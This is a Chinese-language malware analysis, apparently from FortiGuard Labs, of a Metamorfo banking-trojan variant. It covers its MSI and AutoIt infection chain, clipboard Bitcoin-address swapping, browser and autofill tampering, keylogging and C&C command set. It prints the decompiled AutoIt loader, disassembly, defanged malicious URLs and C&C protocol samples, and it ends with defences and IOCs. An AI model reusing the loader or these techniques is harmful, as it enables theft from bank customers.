针对多个国家金融机构客户的新型Metamorfo变种分析

概述

Metamorfo是一个恶意软件家族,该恶意软件主要针对在线金融机构的客户发动攻击。近期,FortiGuard实验室捕获了两种不同的Metamorfo变种。针对其中的第一个变种,我们此前已经发布了分析文章,这个变种仅针对巴西金融机构的客户发动攻击。

我们发现的第二个Metamorfo变种则针对多个国家金融机构的客户发动攻击。在本篇文章中,我们将详细介绍新变种是如何感染受害者的计算机,以及它如何在受害者的计算机上执行操作,包括如何收集数据、如何与其命令和控制(C&C)服务器进行通信,最后将介绍它所支持的C&C命令。

恶意样本分析

与早些时候的变种一样,我们这次捕获到的是一个名为“view-(AVISO)2020.msi”的MSI文件,该文件通过ZIP压缩包的形式进行传播。在此前的分析中,我们发现当用户在Windows操作系统中双击该MSI文件时,MSI文件将由MsiExec.exe自动解析和执行。

通过分析最新的MSI文件,我们发现在其中也包含一个与早期版本名称相同的流“!_StringData”,在其中包含一段JavaScript代码,其中混入了大量垃圾字符串。在提取代码并去掉混淆的内容之后,我们可以清楚看到这段代码的作用。下图是代码的一个片段,展现了恶意样本所使用的JavaScript代码的关键功能。

从流“!_StringData”中提取的JavaScript代码片段:

1.png

在这段代码中,从URL“hxxp[:]//www[.]chmsc[.]edu[.]ph/library/modules/down/op57.lts”下载文件,这实际上是包含3个文件的ZIP压缩包。在下载完成后,会将其解压缩到“C:\”路径下新创建的随机字符串文件夹(在我们的示例中,创建的文件夹名称为“RrRbiebL”)。除此之外,3个解压缩后的文件均使用随机字符串进行重命名,在我们的示例中分别为“cMejBlQe.exe”、“M6WnYxAh”和“YvSVUyps.dll”,下图展示了文件夹的详细信息。

随机命名的文件夹中,包含3个解压缩后的文件:

2.png

这三个文件将会在命令行中执行:

C:\RrRbiebL\cMejBlQe.exe   C:\RrRbiebL\M6WnYxAh C:\RrRbiebL\YvSVUyps.dll

我们在上面的截图中可能已经注意到,这些文件会将其自身添加到系统注册表的auto-run组中。下面是系统注册表中auto-run条目的截图,其中的值就是上面的命令行。

添加到系统注册表中的auto-run组:

3.png

AutoIt脚本运行Metamorfo

其中,“C:\RrRbiebL\cMejBlQe.exe”命令带有两个参数,分别是“C:\RrRbiebL\M6WnYxAh”和“C:\RrRbiebL\YvSVUyps.dll”。经过分析,我们发现文件“cMejBlQe.exe”是一个AutoIt脚本执行程序,其原始名称为“AutoIt3.exe”。文件“M6WnYxAh”是一个经过编译的二进制AutoIt脚本文件(即“.A3X”文件),而文件“YvSVUyps.dll”中包含Metamorfo恶意软件变种的主体。

此前,我们已经观察到AutoIt被许多恶意软件家族滥用,以实现恶意目的。攻击者之所以使用AutoIt,其原因之一是为了绕过反病毒检测。

我们对“M6WnYxAh”文件进行反编译,得到其源代码如下:

SLEEP(2000)
_SLEEP(2000)
SLEEP(2000)
_SLEEP(2000)
GLOBAL $NPYVKYZFH1Z9T8E5CL48UGNZ878HTHO91S63AH=$CMDLINE[1]
GLOBAL $KPH98S477U6K32TXPN3F8UBVSHZ=DLLOPEN($NPYVKYZFH1Z9T8E5CL48UGNZ878HTHO91S63AH)
DLLCALL($KPH98S477U6K32TXPN3F8UBVSHZ,"Int","B1OWOEFK3SBYS0ETX4XXHRNV7SZGYFTU")
FUNC _SLEEP($IDELAY)
            DLLCALL("Kernel32.dll","none","Sleep","dword",$IDELAY)
ENDFUNC

首先,会暂停8秒。然后,从路径$CMDLINE[1]中加载DLL文件,该路径是命令行命令中的最后一个参数,即“C:\RrRbiebL\YvSVUyps.dll”。随后,继续调用名为“B1OWOEFK3SBYS0ETX4XXHRNV7SZGYFTU”的DLL文件的导出函数。随后,由DLL代码控制受感染的计算机。

Metamorfo恶意软件主体分析

现在,我们来深入分析文件“YvSVUyps.dll”。从下图中,我们可以看到DLL文件使用了加壳工具“VMProtect v3.00-3.3.1”。VMProtect是一个非常强大的加壳程序,在目标进程运行时支持动态代码保护。这给安全分析人员带来了巨大的挑战,举例来说,所有API地址都被隐藏,并且在调用之前动态计算。

使用分析工具分析YvSVUyps.dll:

4.png

在运行后,我们可以从内存中转储还原真实的代码。通过分析其ASM代码,我们发现它时使用Borland Delphi进行编译的,这一点和之前发现的其他变种一样。

接下来,我们分析恶意软件在受害者系统上执行的主要任务。

再经过VMProtect恢复代码后,将调用FormCreate()函数,我们可以将其视为是Main()函数。

[...]
022AE2BA     lea     edx, [ebp+var_30]
022AE2BD     mov     eax, offset a015f924af437_0
022AE2C2     call    decrypt_fun    
022AE2C7     mov     edx, [ebp+var_30]
022AE2CA     lea     eax, [ebp+var_2C]
022AE2CD     call    str_copy_Ascii_Unicode
022AE2D2     mov     edx, [ebp+var_2C]     ; de=>  "iexplore.exe"
022AE2D5     mov     eax, [ebp+var_4]
022AE2D8     call    _TerminateProcess
022AE2DD     lea     edx, [ebp+var_38]
022AE2E0     mov     eax, offset a5af5093ad16e_0
022AE2E5     call    decrypt_fun    
022AE2EA     mov     edx, [ebp+var_38]
022AE2ED     lea     eax, [ebp+var_34]
022AE2F0     call    str_copy_Ascii_Unicode ;
022AE2F5     mov     edx, [ebp+var_34]    ; de=> "firefox.exe"
022AE2F8     mov     eax, [ebp+var_4]
022AE2FB     call    _TerminateProcess
022AE300     lea     edx, [ebp+var_40]
022AE303     mov     eax, offset aA233cd013efd_0
022AE308     call    decrypt_fun    
022AE30D     mov     edx, [ebp+var_40]
022AE310     lea     eax, [ebp+var_3C]
022AE313     call    str_copy_Ascii_Unicode ;
022AE318     mov     edx, [ebp+var_3C]    ; de=> "chrome.exe"
022AE31B     mov     eax, [ebp+var_4]
022AE31E     call    _TerminateProcess
022AE323     lea     edx, [ebp+var_48]
022AE326     mov     eax, offset aC9023de11adf_0
022AE32B     call    decrypt_fun    
022AE330     mov     edx, [ebp+var_48]
022AE333     lea     eax, [ebp+var_44]
022AE336     call    str_copy_Ascii_Unicode ;
022AE33B     mov     edx, [ebp+var_44]     ; de=> "microsoftedge.exe"
022AE33E     mov     eax, [ebp+var_4]
022AE341     call    _TerminateProcess
022AE346     lea     edx, [ebp+var_50]
022AE349     mov     eax, offset a84c66187b74f_0
022AE34E     call    decrypt_fun    
022AE353     mov     edx, [ebp+var_50]
022AE356     lea     eax, [ebp+var_4C]
022AE359     call    str_copy_Ascii_Unicode ;
022AE35E     mov     edx, [ebp+var_4C]    ; de=> "opera.exe"
022AE361     mov     eax, [ebp+var_4]
022AE364     call    _TerminateProcess
[...]

上述ASM代码中,调用了一个函数来解密进程名称字符串,然后调用函数_TerminateProcess()在进程列表中终止所有匹配的进程。

然后,代码会修改特定的几个注册表项值,以禁用IE浏览器的部分功能,例如:自动完成、自动建议等。具体而言,其禁用的项目包括“HKCU\Software\Microsoft\Internet Explorer\Main”下的“Use FormSuggest”、“FormSuggest Passwords”和“FormSuggest PW Ask”,以及“HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\AutoComplete”下的“AutoSuggest”。

为什么恶意软件需要终止浏览器进程,并禁用其自动完成和自动建议功能呢?原因在于,这样的操作将强制受害者在没有自动完成功能的情况下手动输入信息,包括完整的URL,以及浏览器中的登录用户名、密码等信息。这样一来,恶意软件的键盘记录器就可以记录受害者输入的大量内容。

上述代码还会从受害者的系统中收集诸如操作系统版本、计算机名称、已安装的杀毒软件名称等信息。

如果是第一次在受感染的计算机上执行(根据标志文件是否存在来判断),将会向命令和控制(C&C)服务器发送一个POST数据包,通知该计算机已经被感染。下图展示了该数据包的详细信息。

发送到C&C服务器的POST数据包截图:

5.png

先前,已经对URL“hxxp[:]//escapuliu[.]com/happynewyear/EYHS2BZM31D225Q.php”进行解密,该数据包的正文中包含受害者的系统信息。其中的一些值经过Base64编码。在进行解码后,数据如下所示:

vv=OP57--06-01&vw=&mods=&uname=*********V-PC&cname=N-96&os=Windows 7 Ultimate6.17601-32&is=&iss=IE.AssocFile.HTM&iav= microsoft security essentials
“vv=OP57--06-01” is the version information of Metamorfo.
“mods=” records whether IBM Trusteer Rapport is running, which is used to protect users from malware.
“uname=*********V-PC” is the victim’s computer name.
“cname=N-96” is a value read out from the system registry.
“os=Windows 7 Ultimate6.17601-32” contains the infected OS version and platform.
“iss=IE.AssocFile.HTM” indicates the victim’s default browser, which in this case is IE.
“iav= microsoft security essentials” is a list of AV software that the victim has installed.

Timer函数

与此前的变种一样,这个变种仍然使用Timer执行其任务。在FormCreate()函数的末尾,将启动两个计时器。其中,第一个计时器用于监视系统剪贴板中的比特币钱包地址,第二个计时器用于检测被感染的系统是否正在访问金融机构的网站。我们将详细分析这两个函数。

(1)比特币地址Timer函数

该函数将不断从系统剪贴板中接收数据,并确认其中是否包含有效的比特币钱包地址。如果存在,则使用攻击者的钱包地址覆盖系统剪贴板中的内容。

调用SetClipboardData() API覆盖比特币钱包地址:

6.png

上图展示了对SetClipboardData()函数的调用,其中的第二个参数就是攻击者的钱包地址(即:163McXwBrc9S7JzbgegzVuw7QTJ9H1dQj7),用于替换系统剪贴板中的原始地址。

通常情况下,用户在进行比特币交易时都会复制粘贴钱包的地址。在这个恶意软件变种中,Metamorfo会检测并覆盖剪贴板中的目标钱包地址。这样一来,受害者在不知不觉中,就会将比特币转移到攻击者的比特币钱包地址(163McXwBrc9S7JzbgegzVuw7QTJ9H1dQj7)。

(2)金融机构Timer函数

随后,将调用EnumWindows() API函数遍历受害者操作系统中的所有窗口。其中,EnumFunc()回调函数会收集所有窗口标题,并添加14H长度的随机字符串前缀。添加前缀后的窗口标题类似于“{14H长度的随机字符串}+窗口标题”。在进行修改后的窗口标题,会添加到字符串列表框空间中。在这里,还可以收集受害者可能在浏览器中访问的在线银行网站页面标题。

然后在Timer函数中,从字符串列表框控件中逐一读取修改后的窗口标题,并与目标金融机构的关键字进行字符串匹配。其中,包含32个关键字,对应包括美国、加拿大、秘鲁、智利、西班牙、巴西、厄瓜多尔、墨西哥等国家的二十多个金融机构。出于安全考虑,我在本文中将不会提到恶意软件所针对的特定关键字或特定金融机构。

在确定窗口标题与其中一个目标金融机构的关键字匹配之后,将连接到C&C服务器,该服务器与前文所提到的主机不同。

下面是解密C&C服务器主机字符串和端口号的代码段,经过解密后,得到网址“ssl[.]teamo[.]life”和端口“8350”。

[...]
022965F7  lea  eax, [ebp+var_18]
022965FA  mov  edx, ds:dword_235CE2C   ;encrypted host string
02296600  mov  ecx, 0
02296605  call  _WideCharToMultiByte
0229660A  mov  eax, [ebp+var_18]
0229660D  lea  edx, [ebp+var_14]
02296610  call  decrypt_fun   ; de=> "ssl.teamo.life"
02296615  mov  edx, [ebp+var_14]
02296618  lea  eax, [ebp+var_10]
0229661B  call  str_Ascii_Unicode
02296620  mov  edx, [ebp+var_10]
02296623  lea  ecx, [ebp+var_C]
02296626  mov  eax, [ebp+var_4]
02296629  call  sub_2296470  ; gethostbyname
0229662E  mov  edx, [ebp+var_C]
02296631  mov  eax, [ebp+var_4]
02296634  mov  eax, [eax+3DCh]
0229663A  call  sub_20BF29C
0229663F  lea  eax, [ebp+var_24]
02296642  mov  edx, ds:dword_235CE30  ;encrypted port number
02296648  mov  ecx, 0
0229664D  call  _WideCharToMultiByte
02296652  mov   eax, [ebp+var_24]
02296655  lea   edx, [ebp+var_20]
02296658  call  decrypt_fun   ;; de=> "8350"
0229665D  mov   edx, [ebp+var_20]
[...]

C&C服务器的命令和控制

在与C&C服务器建立连接后,客户端将向服务器发送命令“ < | QFUNHSNXU | >”,并等待控制命令返回以在受害者的系统上执行更多功能。

下面是Metamorfo恶意软件与其C&C服务器之间的通信示例:

< | QFUNHSNXU | >< | PT | >< | tksN | > OP57--06-01-N-96 < | > 32-Windows 7 Ultimate6.17601 < | > ********-PC-微软安全必备软件-L4N4c10n < | > *** *****-PC < < | 2 // && ikILVm9ZtX!L4N4c10n

Metamorfo将“ < | QFUNHSNXU | >”发送到服务器,然后从服务器接收到控制命令“ < | PT | >”,并执行了该命令的代码。如您所见,它随后发送了响应包“ < | tksN | >”,其中包含Metamorfo版本,系统版本,平台信息,受害者的计算机名称,任何已安装的AV软件,匹配的金融机构名称的标识符字符串。 (“ L4N4c10n”),依此类推。 

注意:在数据包中,符号“ < | >”是一种分隔符,而“ < < |”是结束符号。

与以前的变体一样,此Metamorfo客户端使用SocketRead()函数来接收和处理来自C&C服务器的此套接字的控制命令。 

我们所分析的Metamorfo变种共支持119个控制命令,包括:

“ < | YuiqkwSgot | >”,“ < | PT | >”,“ < | VOTM | >”,“ < | Gpsxi | >”,“ < | ZKXAKYWQKEHUGZJ | >”,“ < | lozyw | >”,“ <  | SuaykRJ | >“,” < | SuaykJI | >“,” < | ztUjzwtR |>“,” < | IXjzwtR | >“,” < |文件夹| >“,” < |文件| >“,” < |下载文件| >“,” < | UploadFile | >“,” dkxqdpdv“,” fuobhjh“,” pyfsqtpofn“,” camarinho“,” beijada“,” cidadao“,” dlulztody“,” janainaa“,” nnnaewhwf23nvcxx“,” vanuza “,” vanessa“,” carmena“,” petereca“,” jpevtpjevtjte“,” djqduidxorv“,” dulhkqzprf“,” vaidamole“,” vadiadaum“,”lzyxyzoxzdy”,“ baraomagao”,“ IbqJxbxma”,“ Lmatqo”,“ puplY”,“ hajluvjlY”,“ wlylajhyhJ”,“ gsxuymrle”,“ sjemwbgonehjexhjjexhjxh”,“ phjdqdd”,“ phjdqdd” ,“ JtxyXLWA”,“ urpdzchlrdi”,“ JXyhylipS”,“ ndsoiu43098s”,“ snis4duo3098”,“ ki74yfhsag”,“ KxvoJJ”,“ Bwilmakx”,“ semvergonha”,“ mh42jkrwibA3”,“ Bwiqbi”,“ kdaf4w84fds”,“ iru4837fbcz”,“ apqi398wjx”,“ Bwiaqk”,“ mfklsjfk3049jsfd”,“ Bwikmn”,“ vpupqbd”,“ ulrvAkhyI”,“ posseco”,“ jpwhslAz”ihAhaP”, “dsefsdfds342342”, “massonaria”, “kldiu4324987dyyds”, “iejdskdjkfl3426232hdshdhs”, “maconha”, “cnirhx87ds”, “b9f8vnh3f7dhvsja4”, “ihAwpMhauhW”, “nhfjds98743hvfavb”, “mfki73t1dav”, “fodiufjdo834yfdgf”, “f9ksa8iuvdo” ,“ miwey82fqq”,“ oropeiru23”,“ kmcjds09498”,“ ewaewqrtrrmwoa”,“ m94ufasjczbal”,“ ulzcecrvAkhocpgyI”,“ hslfasreweyI”,“ perebao”,“ japones3fadhhh”,“ hk”,“ k”,“ bisurdor”,“ curvaduru”,“ vvjpwulw”,“ bosteiro”,“ lkfjasofu4343849”,“ fkvoiudas98”,“ coichzbz”,“b98djzc”,“ klfjs943jfs”,“ eaqeutmn5r”,“ cracreuz”,“ guilhermina”,“ ztchrhAhaP”,“ IIzvsI”,“ HAPzvsI”,“ juventude”,“ HAUHWzvsI”,“ KHYIzvsI” ,“ hruxyoiu”,“ COZUMEL”,“ COZUMARIA”,“ LMAimwc”,“ baci83427daca”,“ daa243bi78acc”。

下面列出了主要Socket中包含的主要控制命令和功能说明。根据这些命令及对应的功能,我们可以掌握Metamorfo变种可以在受害者计算机上执行的操作。

image.png

dkxqdpdv:向受害者展示包含特定信息的消息框。

vanuza:重新启动一些Socket。

vanessa:向受害者展示虚假消息,要求输入验证码。

carmena:该命令中包含多个子命令,可以将命令数据包中指定的内容模拟受害者输入,输入到文本框中。

ev:从C&C服务器下载MSI文件并执行,该命令还可以进行恶意软件的自我更新。

djqduidxorv:重置标志文件,删除文件和相关文件夹。

baraomagao:最大化所有正在运行的浏览器(IE、Chrome和Firefox)窗口。

IbqJxbxma, hajluvjlY:设置系统任务栏可见。

Lmatqo:关闭受感染的操作系统。

puplY:重新启动受感染的操作系统。

wlylajhyhJ:通过调用PlaySoundW() API来播放“SYSTEMSTART”(系统启动)声音。

LkingWajuGhkzwu:关闭Socket,并退出Metamorfo恶意软件。

vkbAlcvtlY:运行.bat脚本以删除特定文件。

JtxyXLWA:删除.dll文件并关闭系统。

urpdzchlrdi、JXyhylipS、ndsoiu43098s、snis4duo3098、ki74yfhsag:这些命令是相关的,其功能是启动线程,然后操纵这些线程控制受害者的输入设备,包括鼠标和键盘。例如,可以组织受害者在浏览器上的鼠标操作(单击、双击、选择文本、右键单击等)。

KxvoJJ、Bwilmakx、semvergonha、mh42jkrxc3、BwiAivbi、vBiAiiwbwew、Bwiqbi:这里有超过50个命令,但在此仅列出其中的7个。这些命令可以隐藏系统任务栏和鼠标光标、显示特定控件以展示受害者信息、要求受害者输入密码等内容。一些命令还会运行Timer,以终止“Windows任务管理器”。

vpupqbd:恢复上述命令更改的所有状态。

IIzvsI:在用户配置文件的文件夹下,创建一个文件。

COZUMEL:启动线程,以在浏览器上运行按键记录器。

COZUMARIA:停止按键记录器,并将记录的数据发送到C&C服务器。

LMAimwc:关闭正在运行的浏览器,向受害者显示一条信息,随后重启受害者的系统。

以最后一个控制命令“LMAimwc”为例,该命令会关闭正在运行的浏览器,包括“Microsoft Internet Explorer”、“Google Chrome”和“Mozilla Firefox”,显示一条消息,然后重新启动受害者的操作系统。下图展示了显示的消息内容(西班牙语),其内容是:我们的页面当前正在进行安全性调整,现在暂时无法帮助你,请稍后再试。你的系统将在操作完成后重新启动。

控制命令“LMAimwc”的消息:

7.png

解决方案

可以使用安全防护产品的Web过滤、反病毒、IPS功能防护计算机免受Metamorfo变种的危害,具体如下:

使用Web过滤服务,阻断对恶意URL的访问。

使用反病毒产品,检测并删除恶意MSI文件(FortiGuard反病毒产品将其检测为“W32/Metamorfo”)。

使用入侵防护系统(IPS),检测Metamorfo恶意软件与其C&C服务器之间的恶意通信流量。

威胁指标

URL:

hxxp[:]//escapuliu[.]com/happynewyear/EYHS2BZM31D225Q.php

hxxp[:]//www[.]chmsc[.]edu[.]ph/library/modules/down/op57.lts

SHA-256样本:

[view-(AVISO)2020.msi]

EB1E5EAEA4ECC04B920BBD955C16B17F3D5AC3C580EA266FF5B9D589B8B49E0C